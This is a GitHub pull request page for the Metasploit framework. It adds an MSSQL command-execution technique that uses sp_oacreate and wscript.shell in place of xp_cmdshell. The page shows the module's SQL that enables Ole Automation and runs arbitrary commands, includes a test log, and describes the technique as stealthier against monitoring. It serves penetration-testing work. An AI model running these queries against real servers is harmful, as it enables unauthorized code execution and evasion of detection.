Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

add mssql_exec_oacreate module #14622

Merged
merged 5 commits into from
Apr 12, 2021
Merged

add mssql_exec_oacreate module #14622

merged 5 commits into from
Apr 12, 2021

Conversation

FLX-0x00
Copy link
Contributor

@FLX-0x00 FLX-0x00 commented Jan 17, 2021

Added mssql_exec_oacreate module which will execute a Windows command on a MSSQL/MSDE instance via the sp_oacreate procedure (ole) instead of the xp_cmdshell.

Used in:

def mssql_rebuild_xpcmdshell(opts={})

Reference: https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-oacreate-transact-sql

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • use admin/mssql/mssql_exec_oacreate
  • set correct rhost, username and password for the mssql instance
  • run

37891246235345

@label-actions
Copy link

label-actions bot commented Jan 18, 2021

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

@gwillcox-r7
Copy link
Contributor

@blacklist-arcc Any update on writing documentation for this module? We may have to attic this pull request if no documentation file is included with it.

@FLX-0x00
Copy link
Contributor Author

Oh sorry, completely was off my focus. I will cover the documentation in the next business days. Thanks for the kindly reminder

modules/auxiliary/admin/mssql/mssql_exec_oacreate.rb Outdated Show resolved Hide resolved
mssql_query("EXEC sp_configure 'show advanced options', 1; RECONFIGURE;", doprint)
mssql_query("EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;", doprint)
print_status('Executing command using sp_oacreate')
mssql_query("DECLARE @mssql INT; EXEC sp_oacreate 'wscript.shell',@mssql OUTPUT; EXEC sp_oamethod @mssql, 'run', null, '#{datastore['CMD']}';", doprint)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Will this work if the command CMD contains apostrophe characters ' ? They will probably need to be escaped.

Copy link
Contributor Author

@FLX-0x00 FLX-0x00 Feb 23, 2021

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Think this will be not possible in this case. The xp_cmdshell method that is already implemented in metasploit has not solved the problem either.

res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts)

@adfoster-r7 adfoster-r7 added the needs-linting The module needs additional work to pass our automated linting rules label Feb 23, 2021
@label-actions
Copy link

label-actions bot commented Feb 23, 2021

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

FLX-0x00 and others added 2 commits February 23, 2021 10:08
Co-authored-by: bcoles <bcoles@gmail.com>
@cdelafuente-r7 cdelafuente-r7 self-assigned this Mar 8, 2021
@cdelafuente-r7 cdelafuente-r7 removed their assignment Mar 16, 2021
@smcintyre-r7
Copy link
Contributor

Does this make sense to implement as a separate module instead of adding it as a technique to the existing auxiliary/admin/mssql/mssql_exec module? The two are incredibly similar, it just looks like an OptEnum specifying the technique could be used, the datastore options should be identical. Note that since this is an auxiliary module, a custom OptEnum would need to be used instead of a Targets definition.

What could make this even better is if the technique could be automatically determined at runtime, allowing the user to focus on the command they want to run and less on how they want to run it.

@FLX-0x00
Copy link
Contributor Author

I totally agree, the technique was useful in some pentest situations where xp_cmdshell is not available or monitored by some fancy IDS. I will take a look and try to add another commit extending the "original" module.

@smcintyre-r7 smcintyre-r7 self-assigned this Mar 19, 2021
@FLX-0x00
Copy link
Contributor Author

@smcintyre-r7 I reverted my changes and follow your advice and modyfied the original module. Now a technique can be set to use the sp_oacreate function instead. I tested agains my own lab and a few hackthebox machines that runs mssql - both methods working smooth. As CMD I used the output of the web_delivery module to get a long powershell command that provide a meterpreter shell as a result.

If the xp_cmdshell function fails the sp_oacreate is invoked as a more failsafe method. I added some small hints in the description that no temp data table is created in order to view any output. So the method is again more opsec safe but did not provide any output.

@smcintyre-r7 smcintyre-r7 added the rn-modules release notes for new or majorly enhanced modules label Apr 12, 2021
@smcintyre-r7
Copy link
Contributor

This works for me, I was able to verify that it's running the command correctly.

msf6 auxiliary(admin/mssql/mssql_exec) > set CMD "cmd.exe /c ping 192.168.159.128"
CMD => cmd.exe /c ping 192.168.159.128
msf6 auxiliary(admin/mssql/mssql_exec) > run
[*] Running module against 192.168.159.46

[*] 192.168.159.46:52454 - Enable advanced options and ole automation procedures
[*] 192.168.159.46:52454 - SQL Query: EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
[*] 192.168.159.46:52454 - SQL Query: EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
[+] 192.168.159.46:52454 - Executing command using sp_oacreate. No output will be displayed.
[*] 192.168.159.46:52454 - SQL Query: DECLARE @mssql INT; EXEC sp_oacreate 'wscript.shell',@mssql OUTPUT; EXEC sp_oamethod @mssql, 'run', null, 'cmd.exe /c ping 192.168.159.128';



 Column1
 -------
 0

[*] Auxiliary module execution completed
msf6 auxiliary(admin/mssql/mssql_exec) >

I made some tweaks to some of the verbiages and updated the docs to describe the techniques. I'll go ahead and land this now, thanks for this contribution!

@smcintyre-r7 smcintyre-r7 merged commit 7a07146 into rapid7:master Apr 12, 2021
@smcintyre-r7
Copy link
Contributor

smcintyre-r7 commented Apr 12, 2021

Release Notes

Updated the auxiliary/admin/mssql/mssql_exec module to add the sp_oacreate technique, which is a more stealthy alternative to the traditional xp_cmdshell stored procedure.

@smcintyre-r7 smcintyre-r7 removed the needs-linting The module needs additional work to pass our automated linting rules label Apr 12, 2021
@FLX-0x00 FLX-0x00 deleted the mssql_exec_oacreate branch April 13, 2021 06:56
@pbarry-r7 pbarry-r7 added rn-enhancement release notes enhancement and removed rn-modules release notes for new or majorly enhanced modules labels Apr 28, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-enhancement release notes enhancement
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

8 participants